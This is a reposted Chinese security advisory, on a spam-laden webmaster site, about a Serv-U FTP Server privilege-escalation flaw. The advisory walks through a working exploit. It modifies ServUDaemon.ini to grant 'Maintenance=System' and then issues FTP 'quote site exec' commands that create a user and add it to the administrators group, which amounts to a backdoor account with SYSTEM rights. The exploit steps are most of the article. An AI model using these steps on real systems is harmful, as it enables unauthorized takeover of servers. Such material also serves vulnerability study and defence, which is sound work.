首页外贸资讯网站长资讯站长源码站长娱乐QQ非主流空间域名免费铃声下载繁體中文
设为首页
加入收藏
我要投稿
在线汉字转拼音     300m空间200元     魔兽世界私服    魔兽世界私服   
Google
 
网页游戏    明升    云博国际    12bet博    bet365    金宝博    云博国际    伟德亚洲    金宝博博彩    百家乐技巧    NBA博彩网站    酷站排行     中国站长之家    IT人才    传奇私服    阿里妈妈       传奇私服     天龙八部私服     魔域私服下载     完美世界私服     传奇私服    传世私服     脱毛機     中小企業診断士講座     塾講師     ネット広告     表参道 美容室     インプラント     リゾートバイト     イームズ     外壁塗装     結婚祝い     新开传奇私服    奇迹私服     天龙八部私服     传世私服    魔兽世界私服    魔兽世界私服    传奇外传私服    天龙八部私服    传奇私服    奇迹私服    英雄合击私服    淘宝    奇迹私服    铆钉    奇迹私服    魔域私服    奇迹私服    奇迹私服    传奇外传私服   
您当前的位置:中国站长资讯网 -> 服务器 -> Ftp服务器 -> 文章内容 退出登录 用户管理
Serv-U FTP Server远程/本地提升权限缺陷
作者:无从考证  来源:转载  发布时间:2005-11-3 15:12:41  发布人:admin

减小字体 增大字体

本地提升权限:是
远程提升权限:是
使用前提条件:对Serv-U配置文件有修改权限
声明:这只是一个提升权限的思路和方法。


一、受影响的软件

Serv-U FTP Server 4.1.0.9 (以及以前所有版本) 

二、受影响系统
Microsoft Windows Server 2003 所有版本 
Microsoft Windows XP 所有版本
Microsoft Windows 2000 所有版本
Microsoft Windows NT 所有版本

三、综述
Serv-U FTP Server为RhinoSoft出品的一款Ftp Sserver软件,目前在全世界广为使用。经我研究发现,Serv-U FTP Server的配置文件存贮于Serv-U FTP Server文件目录下的ServUDaemon.ini文件中。如果本地受限用户或者远程拥有普通权限的攻击者能接触到该文件并精心构造ServUDaemon.ini文件中的内容就能利用Ftp进程在系统上以SYSTEM权限执行任意命令。

四、缺陷分析:
Serv-U FTP Serve在设置用户以后会把配置信息存储与ServUDaemon.ini文件中。包括用户的权限信息和可访问目录信息。本地受限用户或者是远程攻击者只要能够读写Serv-U FTP Serve的文件目录,就可以通过修改目录中的ServUDaemon.ini文件实现以Ftp进程在远程、本地系统上以FTP系统管理员权限来执行任意命令。并且不受系统版本的影响。(用户信息选择“存储与系统注册表中”不受此缺陷影响)

五、测试方法:

1、本地测试
   假设本地受限用户可以浏览Serv-U FTP Serve的文件目录。找到ServUDaemon.ini文件。用记事本打开原文件大致内容为:
[GLOBAL]
Version=4.1.0.0    // Serv-U Ftp Server 版本号
ProcessID=584
RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/AHLvpOK8tqOkyz4D3wbymil1VkKjgdAelPDKSWM5doXJsgW64YIyPdo+wAGnUBuycB
[DOMAINS]
Domain1=127.0.0.1||21|127.0.0.1|1|0    //主机IP以及域名,端口情况
[Domain1]
User1=zihuan|1|0
[USER=zihuan|1]
Password=rfE8DFBE3F7EC27FB043D4305A04E6D2C6
HomeDir=c:\     // 可以浏览的目录
TimeOut=600  
Access1=C:\|RWAMLCDP

如果把ServUDaemon.in文件修改为:

[GLOBAL]
Version=4.1.0.0
ProcessID=584
RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/AHLvpOK8tqOkyz4D3wbymil1VkKjgdAelPDKSWM5doXJsgW64YIyPdo+wAGnUBuycB
[DOMAINS]
Domain1=127.0.0.1||21|127.0.0.1|1|0          
[Domain1]
User1=zihuan|1|0
[USER=zihuan|1]
Password=rfE8DFBE3F7EC27FB043D4305A04E6D2C6
HomeDir=c:\
TimeOut=600
Maintenance=System  //权限类型
Access1=C:\|RWAMELCDP

以上内容比原内容多了一句“Maintenance=System”修改完成后保存。然后在用Ftp登陆到Serv-U FTP Server以后执行如下命令:

ftp>open ip    
Connected to ip.
220 Serv-U FTP Server v4.1.0.0 for WinSock ready...
User (ip:(none)): id  //输入构造的用户
331 User name okay, please send complete E-mail address as password.
Password:password  //密码
230 User logged in, proceed.
ftp> cd winnt   //进入win2k的winnt目录,如果是winxp或者是windows server 2003就应该为windows目录。
250 Directory changed to /WINNT
ftp>cd system32  //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user zihuan ziHUAN /add   //利用系统的net.exe文件加用户。
200 EXEC command successful (TID=33).
ftp>quote site exec net.exe localhost administrators zihuan /add  //提升为超级用户

这样就在本地系统上加了一个为zihuan密码为:ziHUAN的超级用户。也可以直接用quote site exec net.exe localhost administrators user /add命令把当前用户提升到超级用户组中去。当然也可以在系统上执行任何命令。


声明:

本本仅用来描述可能存在的安全问题,作者本人和黑客X档案杂志社不为此安全公告提供任何保证或承诺。由于传播、利用此文章提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任。作者拥有对此安全公告的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者本人允许,不得任意修改或者增减此文章公告内容。

[] [返回上一页] [打 印] [收 藏]
上一篇文章:FTP命令基本用法
下一篇文章:文件上传技巧
更多资讯在百度中查找更多与Serv-U FTP Server远程/本地提升权限缺陷相关的文章
更多资讯在搜狗中查找更多与Serv-U FTP Server远程/本地提升权限缺陷相关的文章
更多资讯在yahoo中查找更多与Serv-U FTP Server远程/本地提升权限缺陷相关的文章
∷相关文章评论∷    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
栏目导航
· Win服务器 · Linux服务器
· Web服务器 · Ftp服务器
· Mail服务器 · Dns服务器
· 代理服务器 · 另类服务器
热门文章
· [组图] 劲舞团情侣图..
· [组图] 怎样免费装扮..
· [图文] QQ空间最新代..
· qq动态搞笑表情大全..
· QQ堂外挂 最新QQ堂最..
· 详谈QQ显隐身,显IP..
· [经典]QQ堂外挂,QQ堂..
· QQ空间动态皮肤-JAY..
· [图文] 劲舞团情侣图..
· [组图] 免费装扮qq空..
相关文章
· 站长资讯--做seo不能..
· 站长资讯--SEO关键字..
· 站长资讯--安徽站长..
· [图文] 站长资讯--Go..
· 站长资讯--广西企业..
· 站长资讯--企业网站..
· 站长资讯--除了SEO、..
· 站长资讯--21个实用..
· 站长资讯--SEO做得很..
· 站长资讯--一个站长..